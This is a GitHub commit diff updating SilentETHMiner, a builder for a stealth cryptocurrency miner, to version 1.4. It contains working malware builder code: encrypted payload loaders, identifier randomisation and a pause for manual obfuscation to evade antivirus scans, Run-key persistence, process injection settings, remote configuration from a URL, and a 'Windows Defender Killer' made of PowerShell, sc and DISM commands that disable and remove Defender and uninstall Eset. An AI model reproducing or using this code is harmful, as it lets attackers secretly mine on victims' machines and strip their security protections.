Skip to content
This repository was archived by the owner on Sep 12, 2023. It is now read-only.

Commit 58cf5d9

Browse files
author
UnamSanctam
committed
Updated to v1.4
* Updated miner * Added ETC toggle switch * Fixed Etchash algorithm * Updated Ethash algorithm * Compiled miner and its dependencies statically so it no longer requires Visual C++ * Updated dependencies * Updated OpenCL which should fix the new AMD drivers bug where it can't find it, also increases AMD hashrate * Added Max GPU and Idle GPU options, although they will mostly just reduce fan sound since they won't decrease the VRAM required * Added a Remote Configuration feature that can get the connection settings remotely from a URL at each startup * Added option to auto-create an uninstaller for the miner * Added Windows Defender "Killer" * Added option to run as administrator * Reworked whole program flow to bypass file scan detections * Added link to wiki in builder for quicker access * Added better DEBUG messaging * Changed command line option prefixes * Fixed bugs
1 parent 139a157 commit 58cf5d9

19 files changed

+1506
-395
lines changed

README.md

+20-1
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11

22
<img src="https://github.com/UnamSanctam/SilentETHMiner/blob/master/SilentETHMiner.png?raw=true">
33

4-
# SilentETHMiner v1.3.3 - Based on Lime Miner v0.3
4+
# SilentETHMiner v1.4 - Based on Lime Miner v0.3
55

66

77
## Main Features
@@ -43,6 +43,25 @@ So the requirements are as follow:
4343

4444
## Changes
4545

46+
### v1.4 (07/05/2021)
47+
* Updated miner
48+
* Added ETC toggle switch
49+
* Fixed Etchash algorithm
50+
* Updated Ethash algorithm
51+
* Compiled miner and its dependencies statically so it no longer requires Visual C++
52+
* Updated dependencies
53+
* Updated OpenCL which should fix the new AMD drivers bug where it can't find it, also increases AMD hashrate
54+
* Added Max GPU and Idle GPU options, although they will mostly just reduce fan sound since they won't decrease the VRAM required
55+
* Added a Remote Configuration feature that can get the connection settings remotely from a URL at each startup
56+
* Added option to auto-create an uninstaller for the miner
57+
* Added Windows Defender "Killer"
58+
* Added option to run as administrator
59+
* Reworked whole program flow to bypass file scan detections
60+
* Added link to wiki in builder for quicker access
61+
* Added better DEBUG messaging
62+
* Changed command line option prefixes
63+
*
64+
* Fixed bugs
4665
### v1.3.3 (10/04/2021)
4766
* Fixed watchdog temporary path
4867
* Updated injector

SilentETHMiner/Advanced.Designer.vb

+323-93
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

SilentETHMiner/Advanced.resx

+9
Original file line numberDiff line numberDiff line change
@@ -120,6 +120,15 @@
120120
<metadata name="TooltipHelper.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
121121
<value>17, 17</value>
122122
</metadata>
123+
<data name="Label1.ToolTip" xml:space="preserve">
124+
<value>Pauses the miner compilation when the Watchdog DLL and/or Miner DLL is compiled to allow manual obfuscation of the file.
125+
You can find the file in the same folder as the miner location you specified with the name MINERFILE-watchdog.dll or MINERFILE-miner.dll.
126+
After you have obfuscated the file press OK on the message box that appears to move on to the next step.</value>
127+
</data>
128+
<data name="Label6.ToolTip" xml:space="preserve">
129+
<value>Will get the configuration for the miner from this URL and use this as the main settings. If the URL can't be reached or if the configuration is wrong, it will use the settings declared in the builder instead.
130+
You can find the specific format for the configuration and other helpful things on the SilentETHMiner GitHub wiki: https://github.com/UnamSanctam/SilentETHMiner/wiki.</value>
131+
</data>
123132
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
124133
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
125134
<value>

SilentETHMiner/Advanced.vb

+23-1
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@
77
Hide()
88
End Sub
99

10-
Private Sub chkAdvanced_CheckedChanged_1(sender As Object) Handles chkAdvanced.CheckedChanged
10+
Private Sub chkAdvanced_CheckedChanged(sender As Object) Handles chkAdvanced.CheckedChanged
1111
If chkAdvanced.Checked Then
1212
chkAdvanced.Text = "Enabled"
1313
txtAdvParam.Enabled = True
@@ -17,4 +17,26 @@
1717
End If
1818
End Sub
1919

20+
Private Sub chkRemoteConfig_CheckedChanged(sender As Object) Handles chkRemoteConfig.CheckedChanged
21+
If chkRemoteConfig.Checked Then
22+
chkRemoteConfig.Text = "Enabled"
23+
txtRemoteConfig.Enabled = True
24+
Else
25+
chkRemoteConfig.Text = "Disabled"
26+
txtRemoteConfig.Enabled = False
27+
End If
28+
End Sub
29+
30+
Private Sub toggleKillWD_CheckedChanged(sender As Object) Handles toggleKillWD.CheckedChanged
31+
If toggleKillWD.Checked Then
32+
Select Case MessageBox.Show("This option is considered destructive and may harm your computer, the uninstaller may be able to revert some of its actions but not all. Do not use this on any important machines." + Environment.NewLine + Environment.NewLine + "Are you sure you want to enable this option?", "Warning!", MessageBoxButtons.YesNo, MessageBoxIcon.Warning)
33+
Case DialogResult.Yes
34+
toggleKillWD.Checked = True
35+
toggleAdministrator.Checked = True
36+
toggleUninstaller.Checked = True
37+
Case Else
38+
toggleKillWD.Checked = False
39+
End Select
40+
End If
41+
End Sub
2042
End Class

SilentETHMiner/Codedom.vb

+227-21
Original file line numberDiff line numberDiff line change
@@ -1,33 +1,33 @@
11
Imports System.CodeDom.Compiler
2+
Imports System.IO
23
Imports System.Security.Cryptography
4+
Imports System.Text
35
Imports Microsoft.CSharp
46

57
Public Class Codedom
68
Public Shared MinerOK As Boolean = False
79
Public Shared WatchdogOK As Boolean = False
10+
Public Shared LoaderOK As Boolean = False
11+
Public Shared UninstallerOK As Boolean = False
812
Public Shared F As Form1
9-
Public Shared Sub MinerCompiler(ByVal Path As String, ByVal Code As String, ByVal Res As String, Optional ICOPath As String = "")
13+
Public Shared Sub MinerCompiler(ByVal Path As String, ByVal Code As String, ByVal Res As String)
14+
MinerOK = False
1015

1116
Dim providerOptions = New Dictionary(Of String, String)
1217
providerOptions.Add("CompilerVersion", "v4.0")
1318
Dim CodeProvider As New CSharpCodeProvider(providerOptions)
1419
Dim Parameters As New CompilerParameters
15-
Dim OP As String = " /target:winexe /platform:x64"
16-
17-
If ICOPath IsNot Nothing Then
18-
IO.File.Copy(ICOPath, Environment.GetFolderPath(35) + "\icon.ico", True) 'codedom cant read spaces
19-
F.txtLog.Text = F.txtLog.Text + ("Adding Icon..." + vbNewLine)
20-
OP += " /win32icon:" + Environment.GetFolderPath(35) + "\icon.ico"
21-
End If
20+
Dim OP As String = " /target:library /platform:x64 "
2221

2322
With Parameters
24-
.GenerateExecutable = True
23+
.GenerateExecutable = False
2524
.OutputAssembly = Path
2625
.CompilerOptions = OP
2726
.IncludeDebugInformation = False
28-
.ReferencedAssemblies.Add("System.Windows.Forms.dll")
27+
If F.FA.toggleEnableDebug.Checked Then
28+
.ReferencedAssemblies.Add("System.Windows.Forms.dll")
29+
End If
2930
.ReferencedAssemblies.Add("System.dll")
30-
.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll")
3131
.ReferencedAssemblies.Add("System.Management.dll")
3232
.ReferencedAssemblies.Add("System.IO.Compression.dll")
3333
.ReferencedAssemblies.Add("System.IO.Compression.FileSystem.dll")
@@ -44,43 +44,52 @@ Public Class Codedom
4444
End Using
4545

4646
F.txtLog.Text = F.txtLog.Text + ("Embedding resources..." + vbNewLine)
47-
.EmbeddedResources.Add(IO.Path.GetTempPath & "\" + F.Resources_Parent + ".Resources")
47+
.EmbeddedResources.Add(IO.Path.GetTempPath & "\" + Res + ".Resources")
48+
49+
Dim minerbuilder As New StringBuilder(Code)
50+
51+
ReplaceGlobals(minerbuilder)
4852

49-
Dim Results = CodeProvider.CompileAssemblyFromSource(Parameters, Code)
53+
Dim Results = CodeProvider.CompileAssemblyFromSource(Parameters, minerbuilder.ToString())
5054
If Results.Errors.Count > 0 Then
5155
For Each E In Results.Errors
5256
MsgBox(E.ErrorText, MsgBoxStyle.Critical)
5357
Next
5458
MinerOK = False
55-
Try : IO.File.Delete(Environment.GetFolderPath(35) + "\icon.ico") : Catch : End Try
56-
Return
5759
Else
5860
MinerOK = True
59-
Try : IO.File.Delete(Environment.GetFolderPath(35) + "\icon.ico") : Catch : End Try
6061
End If
62+
63+
Try : IO.File.Delete(Environment.GetFolderPath(35) + "\icon.ico") : Catch : End Try
6164
End With
6265

6366
End Sub
6467

6568
Public Shared Sub WatchdogCompiler(ByVal Path As String, ByVal Code As String)
69+
WatchdogOK = False
6670

6771
Dim providerOptions = New Dictionary(Of String, String)
6872
providerOptions.Add("CompilerVersion", "v4.0")
6973
Dim CodeProvider As New CSharpCodeProvider(providerOptions)
7074
Dim Parameters As New CompilerParameters
71-
Dim OP As String = " /target:winexe /platform:x64"
75+
Dim OP As String = " /target:library /platform:x64 "
7276

7377
With Parameters
74-
.GenerateExecutable = True
78+
.GenerateExecutable = False
7579
.OutputAssembly = Path
7680
.CompilerOptions = OP
7781
.IncludeDebugInformation = False
78-
.ReferencedAssemblies.Add("System.Windows.Forms.dll")
82+
If F.FA.toggleEnableDebug.Checked Then
83+
.ReferencedAssemblies.Add("System.Windows.Forms.dll")
84+
End If
7985
.ReferencedAssemblies.Add("System.dll")
80-
.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll")
8186
.ReferencedAssemblies.Add("System.Management.dll")
8287

83-
Dim Results = CodeProvider.CompileAssemblyFromSource(Parameters, Code)
88+
Dim watchdogbuilder As New StringBuilder(Code)
89+
90+
ReplaceGlobals(watchdogbuilder)
91+
92+
Dim Results = CodeProvider.CompileAssemblyFromSource(Parameters, watchdogbuilder.ToString())
8493
If Results.Errors.Count > 0 Then
8594
For Each E In Results.Errors
8695
MsgBox(E.ErrorText, MsgBoxStyle.Critical)
@@ -92,4 +101,201 @@ Public Class Codedom
92101
End With
93102

94103
End Sub
104+
105+
Public Shared Sub LoaderCompiler(ByVal SavePath As String, ByVal ProgramBytes As Byte(), Optional ICOPath As String = "", Optional RequireAdministrator As Boolean = False)
106+
LoaderOK = False
107+
108+
Dim providerOptions = New Dictionary(Of String, String)
109+
providerOptions.Add("CompilerVersion", "v4.0")
110+
Dim CodeProvider As New CSharpCodeProvider(providerOptions)
111+
Dim Parameters As New CompilerParameters
112+
Dim OP As String = " /target:winexe /platform:x64 "
113+
114+
If RequireAdministrator Then
115+
File.WriteAllBytes(SavePath & ".manifest", My.Resources.administrator)
116+
F.txtLog.Text = F.txtLog.Text + ("Adding manifest..." + vbNewLine)
117+
OP += " /win32manifest:""" + SavePath & ".manifest" + """"
118+
End If
119+
120+
If F.chkIcon.Checked And Not String.IsNullOrEmpty(ICOPath) Then
121+
F.txtLog.Text = F.txtLog.Text + ("Adding Icon..." + vbNewLine)
122+
OP += " /win32icon:""" + ICOPath + """"
123+
End If
124+
125+
With Parameters
126+
.GenerateExecutable = True
127+
.OutputAssembly = SavePath
128+
.CompilerOptions = OP
129+
.IncludeDebugInformation = False
130+
.ReferencedAssemblies.Add("System.dll")
131+
If F.FA.toggleEnableDebug.Checked Then
132+
.ReferencedAssemblies.Add("System.Windows.Forms.dll")
133+
End If
134+
135+
F.txtLog.Text = F.txtLog.Text + ("Creating Loader resources..." + vbNewLine)
136+
137+
Dim rand As New Random()
138+
Dim Resources_Program = F.Randomi(rand.Next(5, 40))
139+
Dim Resources_Loader = F.Randomi(rand.Next(5, 40))
140+
141+
Using R As New Resources.ResourceWriter(IO.Path.GetTempPath & "\" + Resources_Loader + ".Resources")
142+
R.AddResource(Resources_Program, F.AES_Encryptor(ProgramBytes))
143+
R.Generate()
144+
End Using
145+
146+
F.txtLog.Text = F.txtLog.Text + ("Embedding Loader resources..." + vbNewLine)
147+
.EmbeddedResources.Add(IO.Path.GetTempPath & "\" + Resources_Loader + ".Resources")
148+
149+
Dim loaderbuilder As New StringBuilder(My.Resources.Loader)
150+
151+
loaderbuilder.Replace("#Program", Resources_Program)
152+
loaderbuilder.Replace("#LoaderRes", Resources_Loader)
153+
154+
ReplaceGlobals(loaderbuilder)
155+
156+
Dim Results = CodeProvider.CompileAssemblyFromSource(Parameters, loaderbuilder.ToString())
157+
If Results.Errors.Count > 0 Then
158+
For Each E In Results.Errors
159+
MsgBox(E.ErrorText, MsgBoxStyle.Critical)
160+
Next
161+
LoaderOK = False
162+
Else
163+
LoaderOK = True
164+
End If
165+
166+
If RequireAdministrator Then
167+
File.Delete(SavePath & ".manifest")
168+
End If
169+
End With
170+
171+
End Sub
172+
173+
Public Shared Sub UninstallerCompiler(ByVal SavePath As String)
174+
UninstallerOK = False
175+
176+
Dim providerOptions = New Dictionary(Of String, String)
177+
providerOptions.Add("CompilerVersion", "v4.0")
178+
Dim CodeProvider As New CSharpCodeProvider(providerOptions)
179+
Dim Parameters As New CompilerParameters
180+
Dim OP As String = " /target:winexe /platform:x64 "
181+
182+
If F.FA.toggleAdministrator.Checked Then
183+
File.WriteAllBytes(SavePath & ".manifest", My.Resources.administrator)
184+
F.txtLog.Text = F.txtLog.Text + ("Adding manifest..." + vbNewLine)
185+
OP += " /win32manifest:""" + SavePath & ".manifest" + """"
186+
End If
187+
188+
With Parameters
189+
.GenerateExecutable = True
190+
.OutputAssembly = SavePath
191+
.CompilerOptions = OP
192+
.IncludeDebugInformation = False
193+
.ReferencedAssemblies.Add("System.dll")
194+
.ReferencedAssemblies.Add("System.Core.dll")
195+
.ReferencedAssemblies.Add("System.Management.dll")
196+
If F.FA.toggleEnableDebug.Checked Then
197+
.ReferencedAssemblies.Add("System.Windows.Forms.dll")
198+
End If
199+
200+
F.txtLog.Text = F.txtLog.Text + ("Creating Uninstaller..." + vbNewLine)
201+
202+
Dim uninstallerbuilder As New StringBuilder(My.Resources.Uninstaller)
203+
204+
ReplaceGlobals(uninstallerbuilder)
205+
206+
Dim Results = CodeProvider.CompileAssemblyFromSource(Parameters, uninstallerbuilder.ToString())
207+
If Results.Errors.Count > 0 Then
208+
For Each E In Results.Errors
209+
MsgBox(E.ErrorText, MsgBoxStyle.Critical)
210+
Next
211+
UninstallerOK = False
212+
Else
213+
UninstallerOK = True
214+
End If
215+
216+
If F.FA.toggleAdministrator.Checked Then
217+
File.Delete(SavePath & ".manifest")
218+
End If
219+
End With
220+
End Sub
221+
222+
Public Shared Sub ReplaceGlobals(ByRef stringb As StringBuilder)
223+
If F.FA.toggleKillWD.Checked Then
224+
stringb.Replace("DefKillWD", "true")
225+
stringb.Replace("#KillWDCommands", F.EncryptString("powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Set-MpPreference -DisableArchiveScanning $true & powershell -Command Set-MpPreference -DisableBehaviorMonitoring $true & powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true & powershell -Command Set-MpPreference -DisableScriptScanning $true & powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true & powershell -Command Set-MpPreference -DisableIOAVProtection $true & powershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled & powershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force & powershell -Command Set-MpPreference -MAPSReporting Disabled & powershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend & sc config WinDefend start=disabled & sc stop WinDefend & powershell -Command Stop-Service WinDefend & powershell -Command Set-Service WinDefend -StartupType Disabled & powershell -Command Uninstall-WindowsFeature -Name Windows-Defender & powershell -Command Remove-WindowsFeature Windows-Defender, Windows-Defender-GUI & Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet & Wmic Product where name=""Eset Security"" call uninstall"))
226+
End If
227+
228+
If F.FA.toggleEnableDebug.Checked Then
229+
stringb.Replace("DefDebug", "true")
230+
End If
231+
232+
If F.chkInstall.Checked Then
233+
stringb.Replace("DefInstall", "true")
234+
235+
Dim installdir As String
236+
237+
Select Case F.txtInstallPathMain.Text
238+
Case "AppData"
239+
installdir = "Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)"
240+
Case "UserProfile"
241+
installdir = "Environment.GetFolderPath(Environment.SpecialFolder.UserProfile)"
242+
Case "Temp"
243+
installdir = "Path.GetTempPath()"
244+
Case Else
245+
installdir = "Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)"
246+
End Select
247+
248+
stringb.Replace("PayloadPath", "System.IO.Path.Combine(" & installdir & "," & Chr(34) & F.txtInstallFileName.Text & Chr(34) & ")")
249+
250+
If F.toggleWatchdog.Checked Then
251+
stringb.Replace("DefWatchdog", "true")
252+
End If
253+
End If
254+
255+
If F.chkAssembly.Checked Then
256+
stringb.Replace("DefAssembly", "true")
257+
258+
stringb.Replace("%Title%", F.txtTitle.Text)
259+
stringb.Replace("%Description%", F.txtDescription.Text)
260+
stringb.Replace("%Company%", F.txtCompany.Text)
261+
stringb.Replace("%Product%", F.txtProduct.Text)
262+
stringb.Replace("%Copyright%", F.txtCopyright.Text)
263+
stringb.Replace("%Trademark%", F.txtTrademark.Text)
264+
stringb.Replace("%v1%", F.num_Assembly1.Text)
265+
stringb.Replace("%v2%", F.num_Assembly2.Text)
266+
stringb.Replace("%v3%", F.num_Assembly3.Text)
267+
stringb.Replace("%v4%", F.num_Assembly4.Text)
268+
stringb.Replace("%Guid%", Guid.NewGuid.ToString)
269+
End If
270+
271+
stringb.Replace("#STARTDELAY", F.txtStartDelay.Text)
272+
stringb.Replace("#KEY", F.AESKEY)
273+
stringb.Replace("#SALT", F.SALT)
274+
stringb.Replace("#IV", F.IV)
275+
stringb.Replace("#CLKEY", F.EncryptString("UXUUXUUXUUCommandULineUUXUUXUUXU"))
276+
stringb.Replace("#CLIV", F.EncryptString("UUCommandULineUU"))
277+
stringb.Replace("#LIBSPATH", F.EncryptString("Microsoft\inc\"))
278+
stringb.Replace("#DLLSTR", F.EncryptString("Mandark.Mandark"))
279+
stringb.Replace("#DLLOAD", F.EncryptString("Load"))
280+
stringb.Replace("#REGKEY", F.EncryptString("Software\Microsoft\Windows\CurrentVersion\Run\"))
281+
stringb.Replace("#InjectionTarget", F.EncryptString(F.InjectionTarget(0)))
282+
stringb.Replace("#InjectionDir", F.InjectionTarget(1).Replace("(", "").Replace(")", "").Replace("%WINDIR%", """ + Environment.GetFolderPath(Environment.SpecialFolder.Windows) + """))
283+
284+
stringb.Replace("RInstall", F.Randomi(F.rand.Next(5, 40)))
285+
stringb.Replace("RGetTheResource", F.Randomi(F.rand.Next(5, 40)))
286+
stringb.Replace("RGetString", F.Randomi(F.rand.Next(5, 40)))
287+
stringb.Replace("RRun", F.Randomi(F.rand.Next(5, 40)))
288+
stringb.Replace("RBaseFolder", F.Randomi(F.rand.Next(5, 40)))
289+
stringb.Replace("RCheckProc", F.Randomi(F.rand.Next(5, 40)))
290+
stringb.Replace("RInitialize", F.Randomi(F.rand.Next(5, 40)))
291+
stringb.Replace("RAES_Encryptor", F.Randomi(F.rand.Next(5, 40)))
292+
stringb.Replace("RAES_Decryptor", F.Randomi(F.rand.Next(5, 40)))
293+
stringb.Replace("RTruncate", F.Randomi(F.rand.Next(5, 40)))
294+
stringb.Replace("RCommandLineEncrypt", F.Randomi(F.rand.Next(5, 40)))
295+
stringb.Replace("RWDLoop", F.Randomi(F.rand.Next(5, 40)))
296+
297+
stringb.Replace("rarg1", F.Randomi(F.rand.Next(5, 40)))
298+
stringb.Replace("rarg2", F.Randomi(F.rand.Next(5, 40)))
299+
stringb.Replace("rarg3", F.Randomi(F.rand.Next(5, 40)))
300+
End Sub
95301
End Class

0 commit comments

Comments
 (0)